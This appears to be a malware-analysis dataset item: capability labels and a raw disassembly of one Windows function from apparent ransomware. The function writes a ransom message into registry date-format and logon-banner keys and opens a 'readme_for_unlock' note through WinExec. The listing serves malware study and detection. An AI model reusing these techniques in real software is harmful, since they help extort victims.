Function at 0x140005270
Capabilities:
Create process on windows
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0xe0
mov rax, qword [0x1400ad388]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov rdi, rcx
xor esi, esi
mov rbx, qword [rcx]
mov qword [r11 - 0x38], rsi
mov qword [r11 - 0x28], rsi
mov qword [r11 - 0x20], 0xf
mov byte [r11 - 0x38], sil
lea r8d, [rsi + 0x14]
lea rdx, str.MicrosoftSettings_
lea rcx, [r11 - 0x38]
call fcn.140006540
nop
lea rcx, str.PROGRAMDATA
call fcn.14005bd58
mov r9, 0xffffffffffffffff
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x1400052e0
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0xb0]
call fcn.140007b00
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140005339
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1400066a0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rax, qword [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call fcn.140008480
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
call fcn.1400494e8
shr rax, 0x20
test eax, eax
jne 0x140005a82
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000542d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005428
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a96
call fcn.14004c5ac
movdqa xmm0, xmmword [0x1400976c0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], si
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140005483
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000547e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a9c
call fcn.14004c5ac
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400054dc
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005aa2
call fcn.14004c5ac
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x140005532
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000552d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005aa8
call fcn.14004c5ac
mov rax, qword [rdi + 8]
cmp byte [rax], 1
jne 0x1400058c4
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], 0xf
mov r8d, 0x21
lea rdx, str.ALL_YOUR_FILES_HAS_BEEN_ENCRYPTED
lea rcx, [rsp + 0x90]
call fcn.140006540
mov qword [rsp + 0x80], rsi
lea r8, [rsp + 0x80]
lea rdx, str.Control_PanelInternational
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [rsp + 0xa0]
inc eax
lea rcx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rcx, qword [rsp + 0x90]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.sShortDate
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov qword [rsp + 0x80], rsi
lea r8, [rsp + 0x80]
lea rdx, str.SYSTEMControlSet001ControlCommonGlobUserSettingsControl_PanelInternational
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [rsp + 0xa0]
inc eax
lea rcx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rcx, qword [rsp + 0x90]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.sShortDate
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140005694
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000568f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005aae
call fcn.14004c5ac
call fcn.140002fc0
lea rcx, [rsp + 0x50]
call fcn.140002e80
nop
lea rdx, [rsp + 0xb0]
mov rcx, rax
call fcn.140001f70
nop
mov r8d, 3
lea rdx, [0x140095220]
mov rcx, rax
call fcn.1400066a0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rax, qword [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call fcn.140008480
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
call fcn.140048ea4
shr rax, 0x20
test eax, eax
jne 0x140005ab4
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400057b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ac8
call fcn.14004c5ac
movdqa xmm0, xmmword [0x1400976c0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], si
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140005807
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005802
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ace
call fcn.14004c5ac
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x140005866
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005861
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ad4
call fcn.14004c5ac
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x1400058c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ada
call fcn.14004c5ac
mov rax, qword [rdi + 0x10]
cmp dword [rax], 2
je 0x140005a5d
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov r8d, 0x22
lea rdx, str.ALL_YOUR_FILES_HAS_BEEN_ENCRYPTED_
lea rcx, [rsp + 0x90]
call fcn.140006540
nop
mov qword [rsp + 0x80], rsi
lea r8, [rsp + 0x80]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [rsp + 0xa0]
inc eax
lea rcx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rcx, qword [rsp + 0x90]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.legalnoticecaption
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r8d, 0x4c
lea rdx, str.For_unlock_your_files_follow_the_instructions_from_the_readme_for_unlock.txt
lea rcx, [rsp + 0x90]
call fcn.140006540
mov qword [rsp + 0x80], rsi
lea r8, [rsp + 0x80]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [rsp + 0xa0]
inc eax
lea rcx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rcx, qword [rsp + 0x90]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.legalnoticetext
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140005a4a
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ae0
call fcn.14004c5ac
mov edx, 5
lea rcx, str.explorer.exe_._readme_for_unlock.txt
call qword [sym.imp.KERNEL32.dll_WinExec]
nop
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.14004c550
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, str.remove
call fcn.140002890
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
int3
call fcn.14005bae0
nop
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, str.create_directory
call fcn.140002890
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
int3
call fcn.14005bae0
int3